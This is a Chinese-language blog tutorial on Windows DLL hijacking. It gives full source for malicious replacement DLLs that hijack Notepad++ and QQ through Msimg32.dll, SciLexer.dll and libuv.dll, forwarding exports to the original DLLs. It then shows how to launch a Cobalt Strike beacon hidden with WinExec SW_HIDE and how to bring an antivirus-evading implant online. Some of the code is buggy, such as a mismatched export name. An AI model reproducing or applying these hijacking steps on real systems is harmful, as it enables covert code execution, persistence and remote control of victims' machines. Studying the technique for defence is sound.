dll劫持技术入门及实践
基础知识
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件。
在windows平台下,很多应用程序的很多功能是相似的,抛去ui等等来说,大致的功能都差不多,比如都得调用窗口,都得调用内存管理的模块来分配内存,都得调用io模块去进行文件操作,读写文件等等,这些模块的具体表现就是DLL文件。
Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。
1 2 3 4 5 6 7
| DLL路径搜索目录顺序: 1.程序所在目录 2.程序加载目录(SetCurrentDirectory) 3.系统目录即 SYSTEM32 目录 4.16位系统目录即 SYSTEM 目录 5.Windows目录 6.PATH环境变量中列出的目录
|
1 2 3
| Know DLLs注册表项: Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。 Know DLLs注册表项的路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
|
展示一个vs生成的dll文件模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄 DWORD ul_reason_for_call, // 调用原因 LPVOID lpReserved // 参数保留 ) { switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式 { case DLL_PROCESS_ATTACH: // DLL被某个程序加载 case DLL_THREAD_ATTACH: // DLL被某个线程加载 case DLL_THREAD_DETACH: // DLL被某个线程卸载 case DLL_PROCESS_DETACH: //DLL被某个程序卸载 break; } return TRUE; }
|
手动劫持
劫持应用中没有的dll
根据网上教程做的,选的是notepad++ 6.6.6版本,做一个手动劫持的实验。
首先在虚拟机上装好这些东西(cff不用也可以,我后面用的,提前装了)

然后Procmon.exe设置好相应的过滤器

这样设置之后我半天没有找到相应的进程,所以我自己改了一下过滤规则,还换了个processmonitor的版本

在进程中我们需要找到一个有loadlibrary相关的API的dll
这里的Msimg32.DLL

就加载了这个。
1 2
| 那么为什么要找一个有loadlibrary相关的API的dll呢? 是因为如果该dll的调用栈中存在有 LoadLibrary(Ex),说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。
|
1 2 3 4 5 6
| 加载dll动态库时LoadLibrary与LoadLibraryEx的区别: LoadLibrary和LoadLibraryEx一个是本地加载,一个是远程加载 若DLL不在调用方的同一目录下,可以用LoadLibrary(L"DLL绝对路径")加载。 但若被调DLL内部又调用另外一个DLL,此时调用仍会失败。解决办法是用LoadLibraryEx: LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); 通过指定LOAD_WITH_ALTERED_SEARCH_PATH,让系统DLL搜索顺序从DLL所在目录开始。
|
这样看来这个Msimg32.DLL就符合dll劫持的条件,我们通过dll模板去写一个加的Msimg32.DLL。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" # include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
用cs生成x86的之后替换掉。随后就可以发现,成功了!

好耶(^▽^)
劫持应用中存在的dll
将这个改成成功

然后找到一个名为SciLexer.dll的文件,发现他也加载了loadlibrary,

我超肚子好痛o(╥﹏╥)o
然后这里要用到一个工具 apimonitor这工具
apimonitor 可让您监控和控制应用程序和服务发出的 API 调用。它是查看应用程序和服务如何工作或跟踪您自己的应用程序中存在的问题的强大工具。
使用这个工具是为了弄清楚,这个dll在实际运行的过程中调用的哪个导出函数,这个我们就需要使用apimonitor来进行监控。
1 2 3
| 那么为什么要用寻找导出函数呢?,是因为导出函数中的方法是可以被外部访问的。
.DLL 文件的布局与 .exe 文件非常相似,但有一个重要的差异:DLL 文件包含导出表。导出表包含 DLL 导出到其他可执行文件的每个函数的名称。这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。
|

打开工具后,勾上这几个
随后挂钩notepad

这时候就可以拿到他的导出函数了
之后就可以开始编写dll
1
| 编写dll时,有个重要的问题需要解决,那就是函数重命名——Name-Mangling。C++的编译器通常会对函数名和变量名进行改编,这在链接的时候会出现一个严重的问题,假如dll是C++写的,可执行文件是C写的。在构建dll的时候,编译器会对函数名进行改编,但是在构建可执行文件的时候,编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候,会发现可执行文件引用了一个不存在的符号并报错,那么如何解决这个问题呢?有几种方法。
|
1 2 3 4 5 6 7 8 9
| 第一种是用extern "C"、来告诉编译器不要对变量名和函数名进行改编,这样用C,C++或者任何语言编写可执行模块都可以访问该变量或者该函数。
第二种是给项目创建一个.def文件,.def文件会包含一下类似下面的EXPORTS段 EXPORTS Myfunc 当链接器解析这个.def文件的时候,会发现被改编后的函数名比如_Myfunc@2和没被改编的函数名Myfunc都被导出,这俩函数名是匹配的(不考虑改编),然后链接器就会用.def文件中定义的名称也就是Myfunc来导出函数,而不是用_Myfunc@2。
第三种是还可以在源文件中添加# pragma comment(linker, "/export:[Exports Name]=[Mangling Name]") 比如 # pragma comment(linker, "/export:Myfunc=_Myfunc@2")
|
1 2 3
| 还需要知道 导出:__declspec(dllexport) 导入:__declspec(dllimport)
|
然后编译一下以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" # include <stdlib.h>
extern "C" __declspec(dllexport) void shiyixia();
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
void shiyixa() { system("calc"); }
|
替换掉文件夹中的那个东西

打开之后,直接就弹了窗,但是没有notepad弹出来,
把代码中间的cala删掉

去掉之后就失败了。当然这是个试错的过程,我们还可以使用dll转发技术。
保留原dll,恶意的dll的原因是要做两件事,一件事就是执行恶意代码,第二件事情就是转到正常的dll,来维持程序的正常运行。
但是转发依然没有成功,不过还是弹了计算机就对了。下面是转发的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| // dllmain.cpp : 定义 DLL 应用程序的入口点。 # include "pch.h" # include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
void Scintilla_DirectFunction() { HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll"); if (hDll)
{ //typedef 是定义了一个新的类型 //DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD //定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针 typedef DWORD(WINAPI* EXPFUNC)(); EXPFUNC expFunc = NULL; expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction"); if (expFunc) { expFunc(); }
} return; }
|
使用工具劫持
直接转发
这里来劫持qq
用cff打开qq.exe的导入表
找一个不在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
路径里面的dll劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。
这里找的是libuv.dll

找到路径下的文件

然后使用到aheadlib这个工具,输入dll就填QQ.exe路径下的libuv.dll
,输出CPP会自动生成,原始DLL的名称要记住,等下会替换 libuvOrg

打开cpp文件,新建一个vs dll项目,然后将.cpp的代码复制进去,并加上<windows.h>
和<stdlib.h>
头文件。

然后在入口函数的地方填上一个弹出计算器的语句

将原dll文件改名为之前在软件里面复制的名字libuvOrg.dll
,并把我们生成的dll文件复制进去

他妈的我这里怎么生成了两次喵

嘛~至少目的也达到了
直接转发的原理就是当qq要调用我这文件的函数的时候,我们指定原来的org文件,让qq去调用那里面的函数。
cs上线小实例
代码改成我们的上线命令

成功上线!但是还不够完美有个窗口弹出来,我们用命令行的start /b参数来隐藏

但是还是有弹窗,通过了解可以使用这个函数来隐藏弹窗
WinExec("****", SW_HIDE);

没弹窗了

也成功通过加载免杀马上线
即时调用
也就是在前面工具选择的时候选择即使调用,只不过原理不一样了

即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jmp到原本的dll中的相应函数的地址。达到的效果相同,但是实现的原理不同。